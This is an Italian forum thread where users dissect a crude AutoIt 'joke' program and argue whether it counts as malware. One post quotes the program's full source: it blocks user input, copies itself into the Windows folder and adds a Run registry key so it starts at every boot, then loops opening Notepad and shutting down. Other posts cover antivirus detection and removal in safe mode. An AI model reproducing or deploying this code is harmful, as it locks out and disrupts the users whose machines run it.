La parola agli esperti.

[spitfire10]

http://oknotizie.alice.it/go.php?us=79004219fb579ef8

Sarà vero?

[ste_95]

Non mi sembra ci sia nulla di nuovo, per riavviare il computer basta scrivere shutdown -r da riga di comando, giusto? Quand'è così basta di conseguenza scrivere in un file di testo il medesimo comando salvando il file con l'estensione bat. Quindi ne crei un collegamento in Avvio Automatico o lo sposti direttamente e a ogni avvio il computer si riavvierà...

[ste_95]

Ho aperto il file sorgente e il codice è il seguente:

Codice: Seleziona tutto

#NoTrayIcon
BlockInput(1)
MsgBox(0,"Realizzato By"," .+* M4TT091 x°D",3)
MsgBox(0,"A Informazione...","Il tuo pc è spacciato ahaah",3)
$variabile1=@AutoItExe
FileCopy ($variabile1,"C:\WINDOWS\win32\Temp.exe")
RegWrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "AutoAvvio", "C:\WINDOWS\win32\Temp.exe")
While 1=1
Run ("notepad.exe")
Wend
If ProcessExists("notepad.exe") Then
   Shutdown(8)
ElseIf ProcessClose("notepad.exe") Then
   Shutdown(8)
   EndIf

Spieghiamolo e commentiamolo senza sapere un tubo di VB (Correggetemi se è un altro linguaggio).

Non visualizza icona nella system tray. BlockInput che fa? Blocca gli input? Poi ti dice da chi è stato realizzato (Immagino due che non avevano un tubo da fare) e che il tuo computer è spacciato.
Quindi crea il file C:\WINDOWS\win32\Temp.exe e scrive un valore di avvio per lo stesso di modo che venga eseguito a ogni avvio.
Poi verifica la condizione 1=1, questa restituirà sempre il valore booleano true in quanto 1 è uguale a uno sempre e comuqnue!
E dice: se uno è uguale a uno, apri il file notepad.exe. Chiudi il file notepad.exe e chiudi la sessione.

Questo è ciò che fa. Non mi sembra un virus tanto rivoluzionario...

Sono andato a intuito, se qualche conoscitore di VB ha qualche correzione da fare, non aspetto altro!

[The King of GnG]

definizione di google

P.S.Non serve un "esperto" per una cosa del genere XD

[ste_95]

Peraltro non è vero che nessun antivirus lo rileva. Tre antivirus lo rilevano, NOD lo vede danneggiato anche se non lo è.
Al momento anche Antivir lo rileva, ma glielo ho mandato io ieri, quindi saliamo a 4.

[SteelBolter]

Io ho aggiornato avira antivir personal edition in questo momento e non mi ha trovato nulla...

Tu che versione hai?

[ste_95]

E' normale, mi hanno risposto ieri alle 3 di pomeriggio dicendomi che lo avrebbero riconosciuto come TR/Autoit.AV, ma bisogna aspettare che distribuiscano l'aggiornamento.

[The King of GnG]

Ma perché fate perdere tempo agli analisti di antivir con queste bischerate? XD

[clic]

se colpisce il pc di uno che con il computer ci lavora non è mica tanto una bischerata, non danneggia nulla ma costringe il povero sprovveduto ad interpellare un tecnico.

[ste_95]

Direi che entrando in modalità provvisoria lo neutralizzi e poi lo elimini senza problemi.

[The King of GnG]

se colpisce il pc di uno che con il computer ci lavora non è mica tanto una bischerata, non danneggia nulla ma costringe il povero sprovveduto ad interpellare un tecnico.

Già. Peccato che tutto sto chiacchierare di stà pagliacciata, che si potrebbe realizzare anche in batch, gli da una visibilità che non si merita. Direi che si dovrebbe dare la giusta importanza alle cose, e questa è una buffonata non un malware....

[clic]

Cosi come con le automobili c'è gente che apre la portiera, mette in moto e parte senza conoscere le leggi della termodinamica e il cliclo Otto, lo stesso avviene con i computer: ci sono persone che ci scrivono perché lo usano come sostituto della macchina da scrivere (vedi i traduttori) o che semplicemente comunicano con i parenti lontani.
Un antivirus deve essere in grado, per coloro che lo pagano, di essere in grado di poter rilevare anche quelli che per gente skillata puo apparire uno scherzo innocuo.
Tutto rigorosamente IMHO ;)

[The King of GnG]

Cosi come con le automobili c'è gente che apre la portiera, mette in moto e parte senza conoscere le leggi della termodinamica e il cliclo Otto, lo stesso avviene con i computer: ci sono persone che ci scrivono perché lo usano come sostituto della macchina da scrivere (vedi i traduttori) o che semplicemente comunicano con i parenti lontani.
Un antivirus deve essere in grado, per coloro che lo pagano, di essere in grado di poter rilevare anche quelli che per gente skillata puo apparire uno scherzo innocuo.
Tutto rigorosamente IMHO ;)

Fuffaware XD

C'è la possibilità dello 0,001% che una stron**ta simile entri in circolazione, e pure se lo facesse, non è robaccia che si replica. Ergo è una perdita di tempo, per me che ancora rispondo a stò thread per "esperti" e per Avira che deve impegnarci lo 0,1% del tempo quotidiano di uno dei suoi analisti XD

[clic]

Questo tipo di falsi virus sono classificati come jokes e alcuni antivirus li eliminano perché causa di problemi ai meno esperti che per inciso non sanno neanche dove sta di casa la modalità provvisoria.

Il fatto di rispondere è una scelta visto che siamo in democrazia e così tu hai detto la tua mentre io la mia

[The King of GnG]

Il fatto di rispondere è una scelta visto che siamo in democrazia e così tu hai detto la tua mentre io la mia

Democrazia? Se non sbaglio ancora non è stato decisa la forma di governo di Berlusconia. Aspettiamo prima i nuovi palinsesti XD

Joke? Oh please.... Fall.com per DOS era divertente perché almeno replicava l'effetto del virus Cascade, questo è uno sgorbio di "programmazione" e stop. Altro che joke....

[spitfire10]

Il fatto di rispondere è una scelta visto che siamo in democrazia e così tu hai detto la tua mentre io la mia

Democrazia? Se non sbaglio ancora non è stato decisa la forma di governo di Berlusconia. Aspettiamo prima i nuovi palinsesti XD

Joke? Oh please.... Fall.com per DOS era divertente perché almeno replicava l'effetto del virus Cascade, questo è uno sgorbio di "programmazione" e stop. Altro che joke....

Vacca boia!!
Mi sto sentendo in colpa per aver postato la cosa.....

[ste_95]

Vacca boia!!
Mi sto sentendo in colpa per aver postato la cosa.....

Questo non lo definirei come un joke, e neanche come un badjoke, perché non ti lasciano il sistema intatto, via ti prendi un colpo una volta e poi scoppi a ridere... Qui se non hai un minimo di esperienza/capacità con il computer, sei fritto!

[clic]

Vacca boia!!
Mi sto sentendo in colpa per aver postato la cosa.....

Io invece ti ringrazio ;)

[The King of GnG]

E perché dovresti? XD

Siamo ben al di sotto della soglia di attenzione, e francamente non ho certo voglia e tempo da perdere nell'aprire una guerra di religione su uno sgor.... ops, un finto malware XD